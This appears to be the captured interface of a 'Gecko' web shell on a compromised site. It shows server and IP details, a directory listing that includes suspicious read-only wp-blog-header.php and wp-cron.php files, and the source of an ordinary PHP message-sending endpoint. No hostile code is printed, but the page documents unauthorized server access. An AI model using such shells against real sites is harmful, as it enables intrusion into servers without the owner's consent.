Gecko [ fastearnlimited.com ]

Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains : Cant Read [ /etc/named.conf ]
User : fastear1

Name	Size	Permission	Date
.htaccess	197 B	-r--r--r--	2026-04-01 03:43
call_actions.php	3.5 KB	-rw-r--r--	2026-02-22 20:21
chat_actions.php	4.36 KB	-rw-r--r--	2026-02-22 19:13
delete_story.php	1.79 KB	-rw-r--r--	2026-02-21 23:17
error_log	14.72 KB	-rw-r--r--	2026-03-05 18:14
get_friends.php	1.83 KB	-rw-r--r--	2026-02-22 18:39
get_messages.php	1.17 KB	-rw-r--r--	2026-02-22 17:43
get_my_stories.php	1.02 KB	-rw-r--r--	2026-02-21 23:06
get_stories.php	1.92 KB	-rw-r--r--	2026-02-21 23:03
handle_request.php	2.05 KB	-rw-r--r--	2026-02-21 21:55
mark_story_seen.php	853 B	-rw-r--r--	2026-02-21 23:03
message_action.php	1.8 KB	-rw-r--r--	2026-02-21 23:19
search_users.php	1.07 KB	-rw-r--r--	2026-02-21 21:55
send_message.php	1.68 KB	-rw-r--r--	2026-02-21 23:17
send_request.php	1.65 KB	-rw-r--r--	2026-02-21 22:18
update_profile.php	4.85 KB	-rw-r--r--	2026-02-21 22:49
upload_chat_media.php	1.86 KB	-rw-r--r--	2026-02-22 18:37
upload_story.php	2.6 KB	-rw-r--r--	2026-02-21 22:59
wp-blog-header.php	2.74 KB	-r--r--r--	2026-04-01 03:43
wp-cron.php	2.74 KB	-rw-r--r--	2026-04-01 03:43

Rename

<?php
session_start();
require_once '../includes/db.php';
require_once '../includes/functions.php';

header('Content-Type: application/json');

if (!isLoggedIn() || $_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode(['success' => false]);
    exit;
}

$receiver_id = isset($_POST['receiver_id']) ? intval($_POST['receiver_id']) : 0;
$message = isset($_POST['message']) ? trim($_POST['message']) : '';
$media_url = isset($_POST['media_url']) ? trim($_POST['media_url']) : null;
$media_type = isset($_POST['media_type']) ? trim($_POST['media_type']) : 'text';
$story_id = isset($_POST['story_id']) ? intval($_POST['story_id']) : null;
$user_id = $_SESSION['user_id'];

if ($receiver_id === 0 || (empty($message) && empty($media_url))) {
    echo json_encode(['success' => false, 'error' => 'Invalid data']);
    exit;
}

// Need to ensure they are friends
$check = $pdo->prepare("SELECT id FROM friends WHERE (user_id_1 = ? AND user_id_2 = ?) OR (user_id_1 = ? AND user_id_2 = ?)");
$check->execute([$user_id, $receiver_id, $receiver_id, $user_id]);
if ($check->rowCount() === 0) {
    echo json_encode(['success' => false, 'error' => 'Not friends']);
    exit;
}

// Ensure the HTML string is stripped for safety
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');

$stmt = $pdo->prepare("INSERT INTO messages (sender_id, receiver_id, message, media_url, media_type, story_id) VALUES (?, ?, ?, ?, ?, ?)");
if ($stmt->execute([$user_id, $receiver_id, $message, $media_url, $media_type, $story_id])) {
    echo json_encode(['success' => true, 'message_id' => $pdo->lastInsertId()]);
}
else {
    echo json_encode(['success' => false, 'error' => 'Failed']);
}